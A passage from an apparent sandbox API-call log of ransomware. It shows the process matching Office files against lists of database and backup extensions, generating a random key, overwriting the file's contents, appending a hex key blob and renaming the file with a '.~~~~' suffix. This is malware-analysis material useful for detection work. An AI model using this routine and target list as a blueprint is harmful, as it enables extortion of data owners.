	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".EQL") returned 0x0
	[0142.946] lstrlenW (lpString=".FDB") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".FDB") returned 0x0
	[0142.946] lstrlenW (lpString=".EDB") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".EDB") returned 0x0
	[0142.946] lstrlenW (lpString=".DACPAC") returned 7
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.946] lstrlenW (lpString=".VHD") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".VHD") returned 0x0
	[0142.946] lstrlenW (lpString=".DBV") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DBV") returned 0x0
	[0142.946] lstrlenW (lpString=".dacpac") returned 7
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.946] lstrlenW (lpString=".sdf") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".sdf") returned 0x0
	[0142.946] lstrlenW (lpString=".accdb") returned 6
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".accdb") returned 0x0
	[0142.946] lstrlenW (lpString=".DBX") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DBX") returned 0x0
	[0142.947] lstrlenW (lpString=".MDT") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".MDT") returned 0x0
	[0142.947] lstrlenW (lpString=".SQB") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".SQB") returned 0x0
	[0142.947] lstrlenW (lpString=".vhd") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".vhd") returned 0x0
	[0142.947] lstrlenW (lpString=".bac") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".bac") returned 0x0
	[0142.947] lstrlenW (lpString=".mdf") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".mdf") returned 0x0
	[0142.947] lstrlenW (lpString=".BAK") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".BAK") returned 0x0
	[0142.947] lstrlenW (lpString=".BAC") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".BAC") returned 0x0
	[0142.947] lstrlenW (lpString=".dbs") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dbs") returned 0x0
	[0142.947] lstrlenW (lpString=".vhdx") returned 5
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.947] lstrlenW (lpString=".NDF") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".NDF") returned 0x0
	[0142.947] lstrlenW (lpString=".dat") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dat") returned 0x0
	[0142.947] lstrlenW (lpString=".DBS") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DBS") returned 0x0
	[0142.947] lstrlenW (lpString=".CKP") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".CKP") returned 0x0
	[0142.947] lstrlenW (lpString=".edb") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".edb") returned 0x0
	[0142.947] lstrlenW (lpString=".PST") returned 4
	[0142.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".PST") returned 0x0
	[0142.948] lstrlenW (lpString=".dbf") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dbf") returned 0x0
	[0142.948] lstrlenW (lpString=".SQL") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".SQL") returned 0x0
	[0142.948] lstrlenW (lpString=".pst") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".pst") returned 0x0
	[0142.948] lstrlenW (lpString=".dbv") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dbv") returned 0x0
	[0142.948] lstrlenW (lpString=".SDF") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".SDF") returned 0x0
	[0142.948] lstrlenW (lpString=".dtxs") returned 5
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.948] lstrlenW (lpString=".db3") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".db3") returned 0x0
	[0142.948] lstrlenW (lpString=".OST") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".OST") returned 0x0
	[0142.948] lstrlenW (lpString=".dbx") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dbx") returned 0x0
	[0142.948] lstrlenW (lpString=".DB3") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DB3") returned 0x0
	[0142.948] lstrlenW (lpString=".DAT") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DAT") returned 0x0
	[0142.948] lstrlenW (lpString=".VHDX") returned 5
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.948] lstrlenW (lpString=".ndf") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".ndf") returned 0x0
	[0142.948] lstrlenW (lpString=".DB") returned 3
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DB") returned 0x0
	[0142.948] lstrlenW (lpString=".sql") returned 4
	[0142.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".sql") returned 0x0
	[0142.948] lstrlenW (lpString=".MYD") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".MYD") returned 0x0
	[0142.949] lstrlenW (lpString=".DBT") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DBT") returned 0x0
	[0142.949] lstrlenW (lpString=".ACCDB") returned 6
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.949] lstrlenW (lpString=".fdb") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".fdb") returned 0x0
	[0142.949] lstrlenW (lpString=".bak") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".bak") returned 0x0
	[0142.949] lstrlenW (lpString=".myd") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".myd") returned 0x0
	[0142.949] lstrlenW (lpString=".DTXS") returned 5
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.949] lstrlenW (lpString=".ckp") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".ckp") returned 0x0
	[0142.949] lstrlenW (lpString=".dbt") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dbt") returned 0x0
	[0142.949] lstrlenW (lpString=".db") returned 3
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".db") returned 0x0
	[0142.949] lstrlenW (lpString=".TXT") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".TXT") returned 0x0
	[0142.949] lstrlenW (lpString=".MDF") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".MDF") returned 0x0
	[0142.949] lstrlenW (lpString=".bdb") returned 4
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".bdb") returned 0x0
	[0142.949] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.950] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.950] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.951] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26294090518) returned 1
	[0142.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe9b3210, dwHighDateTime=0x1d60e1e)) 
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe590
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe590 | out: hHeap=0x300000) returned 1
	[0142.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aab00
	[0142.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aab00 | out: hHeap=0x300000) returned 1
	[0142.952] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.952] GetLastError () returned 0x0
	[0142.952] GetLastError () returned 0x0
	[0142.952] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.952] GetLastError () returned 0x0
	[0142.953] GetLastError () returned 0x0
	[0142.953] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x112a3, lpOverlapped=0x0) returned 1
	[0142.955] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffeed5d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.955] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x112a3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x112a3, lpOverlapped=0x0) returned 1
	[0142.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.956] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.956] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.956] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.956] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.956] CloseHandle (hObject=0x104) returned 1
	[0142.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aab00
	[0142.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif.~~~~")) returned 1
	[0142.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aab00 | out: hHeap=0x300000) returned 1
	[0142.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.958] GetLastError () returned 0x0
	[0142.959] RtlWakeConditionVariable () returned 0x0
	[0142.959] GetCurrentThreadId () returned 0x9cc
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".scr") returned 0x0
	[0142.959] lstrlenW (lpString=".cmd") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".cmd") returned 0x0
	[0142.959] lstrlenW (lpString=".dll") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dll") returned 0x0
	[0142.959] lstrlenW (lpString=".bat") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".bat") returned 0x0
	[0142.959] lstrlenW (lpString=".cpl") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".cpl") returned 0x0
	[0142.959] lstrlenW (lpString=".sys") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".sys") returned 0x0
	[0142.959] lstrlenW (lpString=".msc") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".msc") returned 0x0
	[0142.959] lstrlenW (lpString=".com") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".com") returned 0x0
	[0142.959] lstrlenW (lpString=".lnk") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".lnk") returned 0x0
	[0142.959] lstrlenW (lpString=".msp") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".msp") returned 0x0
	[0142.959] lstrlenW (lpString=".pif") returned 4
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".pif") returned 0x0
	[0142.959] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.961] lstrlenW (lpString=".sqb") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".sqb") returned 0x0
	[0142.961] lstrlenW (lpString=".ost") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".ost") returned 0x0
	[0142.961] lstrlenW (lpString=".txt") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".txt") returned 0x0
	[0142.961] lstrlenW (lpString=".mdt") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".mdt") returned 0x0
	[0142.961] lstrlenW (lpString=".BDB") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".BDB") returned 0x0
	[0142.961] lstrlenW (lpString=".eql") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".eql") returned 0x0
	[0142.961] lstrlenW (lpString=".DBF") returned 4
	[0142.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DBF") returned 0x0
	[0142.961] lstrlenW (lpString=".EQL") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".EQL") returned 0x0
	[0142.962] lstrlenW (lpString=".FDB") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".FDB") returned 0x0
	[0142.962] lstrlenW (lpString=".EDB") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".EDB") returned 0x0
	[0142.962] lstrlenW (lpString=".DACPAC") returned 7
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.962] lstrlenW (lpString=".VHD") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".VHD") returned 0x0
	[0142.962] lstrlenW (lpString=".DBV") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DBV") returned 0x0
	[0142.962] lstrlenW (lpString=".dacpac") returned 7
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.962] lstrlenW (lpString=".sdf") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".sdf") returned 0x0
	[0142.962] lstrlenW (lpString=".accdb") returned 6
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".accdb") returned 0x0
	[0142.962] lstrlenW (lpString=".DBX") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DBX") returned 0x0
	[0142.962] lstrlenW (lpString=".MDT") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".MDT") returned 0x0
	[0142.962] lstrlenW (lpString=".SQB") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".SQB") returned 0x0
	[0142.962] lstrlenW (lpString=".vhd") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".vhd") returned 0x0
	[0142.962] lstrlenW (lpString=".bac") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".bac") returned 0x0
	[0142.962] lstrlenW (lpString=".mdf") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".mdf") returned 0x0
	[0142.962] lstrlenW (lpString=".BAK") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".BAK") returned 0x0
	[0142.962] lstrlenW (lpString=".BAC") returned 4
	[0142.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".BAC") returned 0x0
	[0142.963] lstrlenW (lpString=".dbs") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dbs") returned 0x0
	[0142.963] lstrlenW (lpString=".vhdx") returned 5
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".vhdx") returned 0x0
